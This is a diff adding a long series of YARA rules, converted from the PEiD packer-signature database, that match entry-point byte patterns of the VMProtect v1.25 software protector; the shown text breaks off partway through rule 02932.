+rule PEiD_02868_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02869_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02870_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02871_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02872_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02873_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02874_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02875_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02876_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02877_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02878_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02879_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02880_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02881_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02882_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02883_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02884_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02885_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02886_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02887_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02888_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02889_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02890_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02891_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02892_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02893_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02894_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02895_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02896_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02897_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02898_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02899_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02900_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02901_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02902_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02903_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02904_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02905_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02906_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02907_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02908_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02909_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02910_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02911_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02912_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02913_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02914_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02915_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02916_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02917_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02918_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02919_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02920_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02921_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02922_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02923_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02924_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02925_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02926_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02927_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02928_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02929_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02930_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02931_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02932_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
